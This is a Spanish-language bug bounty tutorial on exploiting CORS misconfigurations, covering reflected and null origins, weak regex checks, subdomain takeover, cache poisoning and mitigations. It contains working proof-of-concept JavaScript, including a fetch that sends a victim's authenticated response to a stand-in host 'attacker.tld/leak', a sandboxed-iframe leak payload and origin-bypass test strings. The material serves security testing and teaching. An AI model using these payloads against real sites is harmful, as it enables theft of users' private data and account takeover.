Respuesta rápida
CORS misconfig vulnerable cuando el servidor responde con Access-Control-Allow-Origin reflejando un origin arbitrario y al mismo tiempo Access-Control-Allow-Credentials: true. Permite a una página atacante leer responses autenticados de la víctima. Patrones explotables: reflejo dinámico, null aceptado, regex débil que matches subdominios atacante, trust en subdominios takeable.
Cómo funciona CORS (refresher)
CORS controla qué origins pueden leer responses cross-site. Para un request con cookies:
- El browser envía Origin del atacante.
- El servidor responde con
Access-Control-Allow-Origin(ACAO) yAccess-Control-Allow-Credentials(ACAC). - Si ACAO == origin del atacante AND ACAC == true → el JS atacante puede leer la response.
Regla: ACAO: * y ACAC: true no son compatibles (browser ignora). El atacante necesita que el server eche el origin específico + ACAC true.
Misconfigs explotables
1. Reflejo de cualquier Origin
Request:
GET /api/me HTTP/1.1
Origin: https://attacker.tld
Response:
Access-Control-Allow-Origin: https://attacker.tld
Access-Control-Allow-Credentials: true
Vector más común. El backend hace echo del header Origin sin validación. Cualquier página atacante con la víctima logueada lee /api/me con sus cookies.
PoC:
fetch("https://target.tld/api/me", { credentials: "include" })
.then(r => r.text())
.then(data => fetch("https://attacker.tld/leak", { method: "POST", body: data }));
2. Regex débil
Backend valida con regex que matches subdomains atacante:
if re.match(r"^https?://.*target\.tld$", origin): # ⚠️ falla
return origin
https://attacker.target.tld (subdomain takeover) o https://target.tld.attacker.tld matchean dependiendo del regex. Probar:
https://eviltarget.tld
https://target.tld.evil.tld
https://attacker.com/target.tld
https://target.tld%60.attacker.tld
https://target.tld.attacker.tld
3. null origin aceptado
Origin: null
Response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Browsers envían Origin: null cuando:
- Sandbox iframes sin
allow-same-origin. - File:// URIs.
- Documents from data: URIs.
Atacante:
<iframe sandbox="allow-scripts" srcdoc="<script>fetch('https://target.tld/api/me', {credentials:'include'}).then(r=>r.text()).then(d=>parent.postMessage(d,'*'))</script>"></iframe>
El iframe sandboxed envía Origin: null → server responde con ACAO=null + ACAC=true → leak.
4. Trust en subdominio takeable
allowed = ["*.target.tld"] # acepta cualquier subdominio
Si cualquier subdominio (legacy.target.tld, static.target.tld, internal.target.tld) tiene subdomain takeover (DNS apunta a S3/Heroku/Github Pages que ya no existe), el atacante registra ese servicio y monta página en el subdominio.
Desde ese subdominio, fetch a target.tld/api/* con credentials → respuesta + ACAO match + ACAC true → ATO de cualquier user logueado.
5. Pre-flight bypass
Si el endpoint no requiere preflight (request "simple": GET/POST sin headers custom + ACAO matching), el browser ni siquiera consulta antes. Apps con endpoints sensibles vía POST simple son explotables sin que la víctima vea ni un OPTIONS.
6. Wildcard amplia
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Browser ignora ACAC cuando ACAO=* (no se envían cookies). Pero a veces el endpoint sirve datos sensibles sin necesitar credentials (ej., si auth via API key en query string, o si endpoint internal). En ese caso ACAO: * solo basta para leak.
Cómo demostrar PoC
PoC mínima para reporte
HTML que sirves desde attacker.tld:
<!DOCTYPE html>
<html>
<body>
<h1>CORS PoC</h1>
<div id="r">Loading...</div>
<script>
fetch("https://target.tld/api/me", { credentials: "include" })
.then(r => r.text())
.then(d => {
document.getElementById("r").textContent = d;
});
</script>
</body>
</html>
Pasos del reporter:
- Loguearse en
target.tld(cuenta de prueba). - Visitar
https://attacker.tld/cors-poc.html. - Screenshot del response autenticado mostrando email, ID, etc.
Hunting checklist
# Cambiar Origin y observar ACAO + ACAC
curl -H "Origin: https://evil.tld" -I https://target.tld/api/me
curl -H "Origin: null" -I https://target.tld/api/me
curl -H "Origin: https://target.tld.evil.tld" -I https://target.tld/api/me
curl -H "Origin: https://eviltarget.tld" -I https://target.tld/api/me
curl -H "Origin: https://target.tld%60.evil.tld" -I https://target.tld/api/me
Si ACAO refleja el Origin enviado AND ACAC=true → reportable. Confirmar con PoC funcional.
Patrones comunes en bug bounty
Apps con apis "internas" y "públicas"
api.target.tld(público, ACAO restrictivo).internal.target.tld(interno, sin CORS porque "no está enlazado").
Si internal.target.tld está en scope y responde con CORS abierto a propios subdominios, vector via subdomain takeover sigue.
CORS + Vary header
Si Vary: Origin no está, las CDN cachean responses con Origin específico → un user con Origin: target.tld recibe response cacheado para Origin: attacker.tld. Cache poisoning vector.
Credentials via Authorization header
Apps que mandan tokens con Authorization: Bearer ... (no cookies). El browser solo envía Authorization automáticamente si está en el header del fetch. Si la app guarda el token en localStorage y lo añade manualmente, una página atacante NO puede leerlo a menos que combine con XSS.
Pero si el fetch del frontend manda cookies (sesion) además del Authorization, el flujo cookies + CORS + ACAC se aplica igual.
Mitigación correcta
- Whitelist explícita (no regex):
allowed_origins = {"https://app.target.tld", "https://admin.target.tld"}
if origin in allowed_origins:
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
- Vary: Origin siempre que el response cambie según Origin.
- Nunca ACAO=
null. - Nunca ACAO=
*con ACAC=true. - No confiar en subdominios salvo que tengas control DNS estricto.
Hunting checklist (rápido)
- ¿
curl -H "Origin: https://evil.tld" -Irefleja en ACAO? - ¿ACAC=true al mismo tiempo?
- ¿
Origin: nullaceptado? - ¿Hay endpoints sensibles sin preflight (GET/POST simple)?
- ¿Subdominios con CNAMEs olvidados (subdomain takeover)?
- ¿Vary: Origin presente para evitar cache poisoning?
Labs relacionados
Practica CORS reflejado, null origin, regex bypass y subdomain trust: labs de CORS.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Cors
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
CSRF (Cross-Site Request Forgery) — explicado completo con bypasses
CSRF: cómo se explota, defensas comunes (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) y dónde buscarlo en cualquier app.
OAuth attacks — state CSRF, redirect_uri bypass, code/token leakage
El state parameter ausente, redirect_uri mal validado, response_type confusion. Cómo robar OAuth tokens y forzar account linking.
Zero-Click postMessage Origin Bypass — del canvas al credit drain
El listener de postMessage solo validaba un campo de e.data — controlado por el atacante. e.origin nunca se chequeaba. Desde un iframe cargado al abrir un bot, mensajes inyectados como si los hubiera escrito la víctima.
